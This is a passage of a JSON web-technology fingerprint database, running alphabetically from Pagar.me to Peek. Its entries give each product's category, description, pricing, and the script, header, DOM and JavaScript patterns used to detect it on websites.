41\n    ],\n    \"description\": \"Pagar.me is a Portuguese-language online payments solution for businesses in Brazil.\",\n    \"icon\": \"Pagar.me.svg\",\n    \"js\": {\n      \"PagarMeCheckout\": \"\",\n      \"pagarme.balance\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"assets\\\\.pagar\\\\.me/\"\n    ],\n    \"website\": \"https://pagar.me\"\n  },\n  \"Page Builder Framework\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Page Builder Framework is a lightweight (less than 50kb on the frontend) and highly customizible WordPress theme.\",\n    \"icon\": \"Page Builder Framework.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/page-builder-framework/.+site-min\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wp-pagebuilderframework.com\"\n  },\n  \"Page.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Page.js is a micro client-side router designed to handle client-side routing within web applications.\",\n    \"js\": {\n      \"page.Route\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://github.com/visionmedia/page.js\"\n  },\n  \"PageFly\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"PageFly is an app for Shopify that allows you to build landing pages, product pages, blogs, and FAQs.\",\n    \"headers\": {\n      \"X-Powered-By\": \"PageFly\"\n    },\n    \"icon\": \"pagefly.svg\",\n    \"js\": {\n      \"__pagefly_setting__\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.pagefly\\\\.io\"\n    ],\n    \"website\": \"https://pagefly.io\"\n  },\n  \"PageLayer\": {\n    \"cats\": [\n      5,\n      87\n    ],\n    \"description\": \"Drag and drop page builder for Wordpress.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/pagelayer/'], #pagelayer-frontend-css, #pagelayer-global-styles, .pagelayer-body, .pagelayer-header, .pagelayer-footer, .pagelayer-content\"\n    ],\n    \"icon\": \"PageLayer.png\",\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"pagelayer(?:-frontend)?(?:\\\\/js)?(?:\\\\/combined)?(?:\\\\.min)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/pagelayer\"\n  },\n  \"PageUp\": {\n    \"cats\": [\n      101\n    ],\n    \"description\": \"\",\n    \"icon\": \"PageUp.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"careers-static\\\\.pageuppeople\\\\.com/\"\n    ],\n    \"website\": \"https://www.pageuppeople.com\"\n  },\n  \"Pagecloud\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Pagecloud is a drag-and-drop website builder that enables you to design and deploy websites without writing code.\",\n    \"dom\": {\n      \"head[pagecloud-version]\": {\n        \"attributes\": {\n          \"pagecloud-version\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"Pagecloud.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app-assets\\\\.pagecloud\\\\.com/\"\n    ],\n    \"website\": \"https://www.pagecloud.com\"\n  },\n  \"Pagefai CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Pagefai is a cloud-based platform that offers software-as-a-service solutions to businesses, including the Pagefai CMS which provides ecommerce functionality and other business tools.\",\n    \"headers\": {\n      \"x-powered-by\": \"PAGEFAI CMS\"\n    },\n    \"icon\": \"Pagefai.png\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.pagefai.com\"\n  },\n  \"Pagekit\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:pagekit:pagekit:*:*:*:*:*:*:*:*\",\n    \"icon\": \"Pagekit.png\",\n    \"meta\": {\n      \"generator\": \"Pagekit\"\n    },\n    \"website\": \"https://pagekit.com\"\n  },\n  \"Pagely\": {\n    \"cats\": [\n      62,\n      88\n    ],\n    \"headers\": {\n      \"Server\": \"^Pagely\"\n    },\n    \"icon\": \"pagely.svg\",\n    \"implies\": [\n      \"WordPress\",\n      \"Amazon Web Services\"\n    ],\n    \"website\": \"https://pagely.com/\"\n  },\n  \"Pagetiger\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Pagetiger is a platform that offers pre-made templates and an in-house creative agency to help users create content quickly and securely.\",\n    \"icon\": \"PageTiger.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.pagetiger\\\\.com/\"\n    ],\n    \"website\": \"https://www.pagetiger.com\"\n  },\n  \"Pagevamp\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Pagevamp is a website builder that allows users to create and customize websites quickly by pulling content from their existing Facebook pages or Instagram profiles, offering an easy way to set up a professional online presence.\",\n    \"headers\": {\n      \"X-ServedBy\": \"pagevamp\"\n    },\n    \"icon\": \"Pagevamp.svg\",\n    \"js\": {\n      \"Pagevamp\": \"\"\n    },\n    \"website\": \"https://www.pagevamp.com\"\n  },\n  \"Pagolight\": {\n    \"cats\": [\n      91\n    ],\n    \"description\": \"Pagolight is a BNPL system allowing instalment payments for online purchases.\",\n    \"dom\": [\n      \"div#heidipay-container, div[data-heidipay], div#pagolight-pro-dialog, iframe#heidipay-iframe-product-description-pagolight\"\n    ],\n    \"icon\": \"Pagolight.svg\",\n    \"js\": {\n      \"closePagodilModal\": \"\",\n      \"openPagodilModal\": \"\",\n      \"pagodilLang\": \"\",\n      \"pagodilSprintf\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://pagolight.it\"\n  },\n  \"Paidy\": {\n    \"cats\": [\n      41,\n      91\n    ],\n    \"description\": \"Paidy is basically a two-sided payments service, acting as a middleman between consumers and merchants in Japan.\",\n    \"icon\": \"Paidy.svg\",\n    \"js\": {\n      \"Constants.paidy\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"apps\\\\.paidy\\\\.com\"\n    ],\n    \"website\": \"https://paidy.com\"\n  },\n  \"Paloma\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Paloma helps ecommerce businesses sell directly to customers in messaging channels, with automated personal shopping conversations.\",\n    \"icon\": \"Paloma.svg\",\n    \"js\": {\n      \"Paloma.createCookie\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.getpaloma\\\\.com/\"\n    ],\n    \"website\": \"https://www.getpaloma.com\"\n  },\n  \"Panda CSS\": {\n    \"cats\": [\n      66\n    ],\n    \"css\": [\n      \"--made-with-panda\"\n    ],\n    \"description\": \"Panda is a styling engine that generates styling primitives to author atomic CSS and recipes in a type-safe and readable manner.\",\n    \"icon\": \"PandaCSS.svg\",\n    \"oss\": true,\n    \"website\": \"https://panda-css.com/\"\n  },\n  \"Pandectes GDPR Compliance\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"Pandectes GDPR Compliance is a solution for Shopify stores, ensuring compliance with GDPR, CCPA/CPRA, VCDPA, APPI, PIPEDA, and PDPA regulations.\",\n    \"icon\": \"PandectesGDPRCompliance.svg\",\n    \"js\": {\n      \"Pandectes\": \"\",\n      \"PandectesBlocker\": \"\",\n      \"PandectesCore\": \"\",\n      \"PandectesGeolocation\": \"\",\n      \"PandectesRules\": \"\",\n      \"PandectesSettings\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://pandectes.io\"\n  },\n  \"Panelbear\": {\n    \"cats\": [\n      10,\n      13\n    ],\n    \"description\": \"Panelbear is a simple website performance and traffic analytics tool.\",\n    \"icon\": \"Panelbear.svg\",\n    \"js\": {\n      \"panelbear\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://panelbear.com\"\n  },\n  \"Pannellum\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Pannellum is a lightweight, free, and open source panorama viewer for the web.\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"(?:((?:\\\\d+\\\\.)+\\\\d+)\\\\/(?:build\\\\/)?)?pannellum(?:-plugin)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://pannellum.org/\"\n  },\n  \"Pantheon\": {\n    \"cats\": [\n      62\n    ],\n    \"description\": \"Pantheon is a WebOps (Website Operations) and Management Platform for WordPress and Drupal.\",\n    \"headers\": {\n      \"Server\": \"^Pantheon\",\n      \"x-pantheon-styx-hostname\": \"\",\n      \"x-styx-req-id\": \"\"\n    },\n    \"icon\": \"Pantheon.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"Nginx\",\n      \"MariaDB\",\n      \"Fastly\"\n    ],\n    \"website\": \"https://pantheon.io/\"\n  },\n  \"Paper.js\": {\n    \"cats\": [\n      25\n    ],\n    \"description\": \"Paper.js is an open-source vector graphics scripting framework that operates on the HTML5 Canvas.\",\n    \"icon\": \"PaperJS.svg\",\n    \"js\": {\n      \"paper\": \"\",\n      \"paper.PaperScope\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"(?:((?:\\\\d+\\\\.)+\\\\d+)\\\\/)?paper(?:-full)?(?:-core)?(?:\\\\.min)?(?:-[\\\\d\\\\w]{0,64})?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://paperjs.org\"\n  },\n  \"Papirfly\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Papirfly is an all-in-one brand management platform.\",\n    \"dom\": [\n      \"link[href*='/papirfly-base.min.css?']\"\n    ],\n    \"icon\": \"Papirfly.svg\",\n    \"js\": {\n      \"Papirfly\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.papirfly.com\"\n  },\n  \"Paradox\": {\n    \"cats\": [\n      101\n    ],\n    \"description\": \"Paradox is an AI company that helps companies capture and screen candidates, improve conversions, and answer all candidate questions.\",\n    \"icon\": \"Paradox.svg\",\n    \"js\": {\n      \"_applybase\": \"\\\\.paradox\\\\.ai\",\n      \"oliviaChatBaseUrl\": \"\\\\.paradox\\\\.ai\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.paradox.ai\"\n  },\n  \"Parcelforce\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"Parcelforce is a courier and logistics service in the United Kingdom.\",\n    \"icon\": \"Parcelforce.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bParcelforce\\\\b\"\n    ],\n    \"website\": \"https://www.parcelforce.com\"\n  },\n  \"ParkingCrew\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"ParkingCrew is a direct navigation monetisation provider.\",\n    \"icon\": \"ParkingCrew.svg\",\n    \"js\": {\n      \"pcrewAdloaded\": \"\"\n    },\n    \"scripts\": [\n      \"var\\\\slink\\\\s=\\\\s'www\\\\.parkingcrew\\\\.net'\"\n    ],\n    \"website\": \"https://www.parkingcrew.com\"\n  },\n  \"Parmin Cloud\": {\n    \"cats\": [\n      63\n    ],\n    \"description\": \"Parmin Cloud operates in the field of cloud services.\",\n    \"headers\": {\n      \"x-powered-by\": \"^ParminCloud$\"\n    },\n    \"icon\": \"Parmin Cloud.svg\",\n    \"pricing\": [\n      \"poa\",\n      \"payg\"\n    ],\n    \"website\": \"https://parmin.cloud\"\n  },\n  \"Pars Elecom Portal\": {\n    \"cats\": [\n      1\n    ],\n    \"headers\": {\n      \"X-Powered-By\": \"Pars Elecom Portal\"\n    },\n    \"icon\": \"parselecom.png\",\n    \"implies\": [\n      \"Microsoft ASP.NET\",\n      \"IIS\",\n      \"Windows Server\"\n    ],\n    \"meta\": {\n      \"copyright\": \"Pars Elecom Portal\"\n    },\n    \"website\": \"https://parselecom.net\"\n  },\n  \"Parse.ly\": {\n    \"cats\": [\n      10\n    ],\n    \"icon\": \"Parse.ly.svg\",\n    \"js\": {\n      \"PARSELY\": \"\"\n    },\n    \"website\": \"https://www.parse.ly\"\n  },\n  \"Parsley.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Javascript forms validation script.\",\n    \"js\": {\n      \"parsley\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"parsley(?:\\\\.min)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://parsleyjs.org\"\n  },\n  \"Partial.ly\": {\n    \"cats\": [\n      41,\n      91\n    ],\n    \"description\": \"Partial.ly payment plan software lets businesses offer customizable payment plans to their customers.\",\n    \"icon\": \"Partially.svg\",\n    \"js\": {\n      \"PartiallyButton\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"partial\\\\.ly\"\n    ],\n    \"website\": \"https://partial.ly/\"\n  },\n  \"ParticularAudience\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"ParticularAudience is a platform utilizing AI for item-based personalization services, emphasizing privacy in a connected commerce landscape to enhance revenue streams.\",\n    \"icon\": \"ParticularAudience.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.particularaudience\\\\.com/\"\n    ],\n    \"website\": \"https://particularaudience.com\"\n  },\n  \"PartnerStack\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"PartnerStack is a platform facilitating SaaS brand growth through streamlined partner management.\",\n    \"icon\": \"PartnerStack.svg\",\n    \"js\": {\n      \"growsumo\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.growsumo\\\\.com\",\n      \"\\\\.partnerstack\\\\.com\"\n    ],\n    \"website\": \"https://partnerstack.com\"\n  },\n  \"Partnerize\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"Partnerize is the only partnership management solution for marketers seeking high quality, scalable subsidies to primary channels.\",\n    \"dom\": [\n      \"a[href*='prf.hn/click'], img[src*='.prf.hn/']\"\n    ],\n    \"icon\": \"Partnerize.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://prf.hn\"\n  },\n  \"Partnero\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"Partnero is a partnership management platform designed for relationship-building.\",\n    \"icon\": \"Partnero.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.partnero\\\\.com/\"\n    ],\n    \"website\": \"https://www.partnero.com\"\n  },\n  \"Parttrap ONE\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Parttrap ONE is a complete solution including PIM, CMS, business optimization and ERP integration.\",\n    \"icon\": \"Parttrap.png\",\n    \"implies\": [\n      \"Handlebars\",\n      \"Microsoft ASP.NET\",\n      \"Bootstrap\"\n    ],\n    \"js\": {\n      \"PT.Analytics.addItem\": \"\",\n      \"PT.Sections.Checkout\": \"\",\n      \"PT.Translation.BasketIsEmpty\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"requires\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.parttrap.com\"\n  },\n  \"Partytown\": {\n    \"cats\": [\n      92\n    ],\n    \"description\": \"Partytown is a lazy-loaded library to help relocate resource intensive scripts into a web worker, and off of the main thread.\",\n    \"dom\": [\n      \"script[type*='text/partytown']\"\n    ],\n    \"icon\": \"Partytown.svg\",\n    \"js\": {\n      \"partytown\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://partytown.builder.io/\"\n  },\n  \"Passage\": {\n    \"cats\": [\n      69\n    ],\n    \"description\": \"Passage, a feature provided by 1Password, enables easy implementation of passwordless authentication methods on websites and apps.\",\n    \"icon\": \"Passage.svg\",\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.1password\\\\.com/\"\n    ],\n    \"website\": \"https://passage.1password.com\"\n  },\n  \"PathFactory\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"PathFactory is a platform utilizing AI to align content with revenue generation.\",\n    \"icon\": \"PathFactory.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn-app\\\\.pathfactory\\\\.com\"\n    ],\n    \"website\": \"https://www.pathfactory.com\"\n  },\n  \"Paths.js\": {\n    \"cats\": [\n      25\n    ],\n    \"scriptSrc\": [\n      \"paths(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://github.com/andreaferretti/paths-js\"\n  },\n  \"PatientSites\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"PatientSites is a provider of lead generation services and website development for physical therapy practices.\",\n    \"icon\": \"PatientSites.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.patientsites\\\\.com/\"\n    ],\n    \"website\": \"https://www.patientsites.com\"\n  },\n  \"Patreon\": {\n    \"cats\": [\n      5,\n      41\n    ],\n    \"description\": \"Patreon is an American membership platform that provides business tools for content creators to run a subscription service.\",\n    \"dom\": {\n      \"a[href*='www.patreon.com/']\": {\n        \"attributes\": {\n          \"href\": \"patreon\\\\.com/.+\"\n        }\n      }\n    },\n    \"icon\": \"Patreon.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"patreon-connect/assets/.+ver=([\\\\d.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.patreon.com\"\n  },\n  \"Pattern by Etsy\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Pattern is an offering by Etsy to set up a website for Etsy sellers, in addition to Etsy shop.\",\n    \"icon\": \"Etsy.svg\",\n    \"js\": {\n      \"Etsy\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.etsy.com/pattern\"\n  },\n  \"Pay It Later\": {\n    \"cats\": [\n      91\n    ],\n    \"description\": \"Pay It Later collect payments in weekly instalments from you when you make a purchase online, so you can buy now and pay it later.\",\n    \"dom\": [\n      \"a[href*='.payitlater.com.au'][target='_blank'], img[src*='PayItLater'][alt='PayItLater']\"\n    ],\n    \"icon\": \"Pay It Later.svg\",\n    \"js\": {\n      \"payitlater\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/wp-content/plugins/payitlater-gateway-for-woocommerce/(?:.+\\\\?ver=([\\\\d\\\\.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.payitlater.com.au\"\n  },\n  \"PayBright\": {\n    \"cats\": [\n      41,\n      91\n    ],\n    \"description\": \"PayBright is a Canadian fintech company that offers short-term interest-free installment loans for online shopping to consumers at checkout.\",\n    \"dom\": [\n      \"link[href*='app.paybright.com']\"\n    ],\n    \"icon\": \"PayBright.svg\",\n    \"js\": {\n      \"_paybright_config\": \"\"\n    },\n    \"scriptSrc\": [\n      \"app\\\\.paybright\\\\.com\"\n    ],\n    \"website\": \"https://paybright.com\"\n  },\n  \"PayFast\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"PayFast is a payments processing service for South Africans & South African websites.\",\n    \"dom\": [\n      \"[aria-labelledby='pi-payfast_instant_eft']\"\n    ],\n    \"icon\": \"Payfast.svg\",\n    \"website\": \"https://www.payfast.co.za/\"\n  },\n  \"PayGreen\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"PayGreen is a French payment processor.\",\n    \"icon\": \"PayGreen.svg\",\n    \"js\": {\n      \"paygreenjs\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.paygreen.io\"\n  },\n  \"PayJustNow\": {\n    \"cats\": [\n      91\n    ],\n    \"description\": \"PayJustNow is a buy now, pay later checkout option for ecommerce sites.\",\n    \"icon\": \"PayJustNow.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.payjustnow\\\\.com/\"\n    ],\n    \"website\": \"https://payjustnow.com\"\n  },\n  \"PayKickStart\": {\n    \"cats\": [\n      5,\n      71\n    ],\n    \"description\": \"PayKickstart is an online shopping cart and affiliate management platform with built-in conversion enhancing features like one-click upsells for credit card/paypal, order bumps, custom checkout pages/widgets/embed forms, coupon management, auto-complete shipping fields, subscription saver sequences, and more.\",\n    \"icon\": \"PayKickStart.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.paykickstart\\\\.com\"\n    ],\n    \"website\": \"https://paykickstart.com\"\n  },\n  \"PayPal\": {\n    \"cats\": [\n      41\n    ],\n    \"cpe\": \"cpe:2.3:a:paypal:paypal:*:*:*:*:*:*:*:*\",\n    \"description\": \"PayPal is an online payments system that supports online money transfers and serves as an electronic alternative to traditional paper methods like checks and money orders.\",\n    \"dom\": {\n      \"button\": {\n        \"text\": \"PayPal\"\n      },\n      \"iframe[src*='paypal.com'], img[src*='paypal.com'], img[src*='paypalobjects.com'], [aria-labelledby='pi-paypal'], [data-paypal-v4='true'], img[alt*='PayPal' i]\": {\n        \"exists\": \"\"\n      }\n    },\n    \"headers\": {\n      \"content-security-policy\": \"\\\\.paypal\\\\.com\"\n    },\n    \"icon\": \"PayPal.svg\",\n    \"js\": {\n      \"PAYPAL\": \"\",\n      \"__paypal_global__\": \"\",\n      \"checkout.enabledpayments.paypal\": \"^true$\",\n      \"enablePaypal\": \"\",\n      \"paypal\": \"\",\n      \"paypalClientId\": \"\",\n      \"paypalJs\": \"\",\n      \"wc_ga_pro.available_gateways.paypal\": \"\"\n    },\n    \"meta\": {\n      \"id\": \"in-context-paypal-metadata\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"paypalobjects\\\\.com\"\n    ],\n    \"website\": \"https://paypal.com\",\n    \"xhr\": [\n      \"\\\\.paypal\\\\.com\"\n    ]\n  },\n  \"PayPal Credit\": {\n    \"cats\": [\n      91\n    ],\n    \"description\": \"PayPal Credit is a reusable line of credit that lets you pay for online purchases over time.\",\n    \"dom\": [\n      \"img[alt*='PayPal Credit'], a[title*='PayPal Credit']\"\n    ],\n    \"icon\": \"PayPal.svg\",\n    \"implies\": [\n      \"PayPal\"\n    ],\n    \"js\": {\n      \"PaypalOffersObject\": \"\",\n      \"payPalCreditPopover\": \"\"\n    },\n    \"requiresCategory\": [\n      6\n    ],\n    \"scriptSrc\": [\n      \"\\\\.paypalobjects\\\\.com/.+/smart-credit-message@([\\\\d\\\\.]+)\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.paypal.com/uk/webapps/mpp/paypal-virtual-credit\"\n  },\n  \"PayPal Marketing Solutions\": {\n    \"cats\": [\n      10,\n      32\n    ],\n    \"description\": \"PayPal Marketing Solutions enables merchants to see shopper insights and provide custom rewards for buyers with PayPal accounts.\",\n    \"icon\": \"PayPal.svg\",\n    \"implies\": [\n      \"PayPal\"\n    ],\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.paypalobjects\\\\.com/muse/\",\n      \"\\\\.paypal\\\\.com/tagmanager/pptm\\\\.js\"\n    ],\n    \"website\": \"https://developer.paypal.com/docs/marketing-solutions\"\n  },\n  \"PayWhirl\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"PayWhirl provides widgets and tools to handle recurring payments.\",\n    \"icon\": \"paywhirl.svg\",\n    \"js\": {\n      \"paywhirlForShopifySettings\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"website\": \"https://app.paywhirl.com/\"\n  },\n  \"Payflex\": {\n    \"cats\": [\n      41,\n      91\n    ],\n    \"description\": \"Payflex offers an online payment gateway solution to South African merchants that allows shoppers to pay over 6 weeks, interest-free.\",\n    \"dom\": [\n      \"[aria-labelledby='pi-payflex']\"\n    ],\n    \"icon\": \"Payflex.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"partpayassets\\\\.blob\\\\.core\\\\.windows\\\\.net\"\n    ],\n    \"website\": \"https://payflex.co.za/\"\n  },\n  \"Payl8r\": {\n    \"cats\": [\n      41,\n      91\n    ],\n    \"description\": \"PayL8r.com offers repayment plans and online finance which allow you to purchase products online.\",\n    \"icon\": \"Payl8r.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"payl8r\\\\.com\"\n    ],\n    \"website\": \"https://payl8r.com/\"\n  },\n  \"Paylocity\": {\n    \"cats\": [\n      101\n    ],\n    \"description\": \"Paylocity is an American company which provides cloud-based payroll and human capital management software.\",\n    \"dom\": [\n      \"a[href*='recruiting\\\\.paylocity\\\\.com/recruiting/jobs/']\"\n    ],\n    \"icon\": \"Paylocity.svg\",\n    \"pricing\": [\n      \"low\",\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.paylocity.com\"\n  },\n  \"Paymenter\": {\n    \"cats\": [\n      1,\n      6\n    ],\n    \"cookies\": {\n      \"paymenter_session\": \"\"\n    },\n    \"description\": \"Paymenter is an open-source webshop solution for hosting companies.\",\n    \"icon\": \"Paymenter.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\",\n      \"Tailwind CSS\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://paymenter.org\"\n  },\n  \"Payoneer\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Payoneer is an online payment processing platform tailored for digital businesses.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/wc-payoneer-payment-gateway/'], link#payoneer-plugn-css\"\n    ],\n    \"icon\": \"Payoneer.svg\",\n    \"website\": \"https://www.payoneer.com\"\n  },\n  \"Payplug\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Payplug is a French omnichannel payment solution dedicated to merchants.\",\n    \"icon\": \"Payplug.svg\",\n    \"js\": {\n      \"PAYPLUG_DOMAIN\": \"\\\\.payplug\\\\.com\",\n      \"payplug.card\": \"\",\n      \"payplug_ajax_url\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"website\": \"https://www.payplug.com\"\n  },\n  \"Payrexx\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Payrexx is an online payment solution facilitating receipt of payments across various platforms.\",\n    \"icon\": \"Payrexx.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.payrexx\\\\.com/\"\n    ],\n    \"website\": \"https://payrexx.com\"\n  },\n  \"Paysafe\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Paysafe is a payment platform that enables businesses and consumers to connect and transact by payment processing, digital wallet, and online cash solutions.\",\n    \"icon\": \"paysafe.svg\",\n    \"js\": {\n      \"paysafe\": \"\",\n      \"paysafe.checkout\": \"\",\n      \"paysafe.fields\": \"\",\n      \"paysafe.threedsecure\": \"\"\n    },\n    \"scriptSrc\": [\n      \"/hosted\\\\.paysafe\\\\.com/\"\n    ],\n    \"website\": \"https://www.paysafe.com/en\"\n  },\n  \"Paysera\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Paysera is a platform that provides money transfer and payment services.\",\n    \"icon\": \"Paysera.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.paysera\\\\.com/\"\n    ],\n    \"website\": \"https://www.paysera.com\"\n  },\n  \"Pear Commerce\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Pear Commerce is a next-gen retail ecommerce platform connecting CPGs to retailers by transforming shoppable tools into actionable marketing insights.\",\n    \"icon\": \"PearCommerce.svg\",\n    \"js\": {\n      \"PEAR_WIDGET_CONFIG\": \"\",\n      \"PEAR_WIDGET_CONFIG.version\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\",\n      \"PEAR_WIDGET_CONFIGS.default\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://www.pearcommerce.com\"\n  },\n  \"PebblePost\": {\n    \"cats\": [\n      77\n    ],\n    \"description\": \"PebblePost provides marketers a way to transform recent online data into intelligent direct mail programs that perform.\",\n    \"icon\": \"PebblePost.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.pbbl\\\\.co/\"\n    ],\n    \"website\": \"https://www.pebblepost.com\"\n  },\n  \"Peek\": {\n    \"cats\": [\n      5,\n      72\n    ],\n    \"description\": \"Peek is a online booking system for tour and activity providers.\",\n    \"icon\": 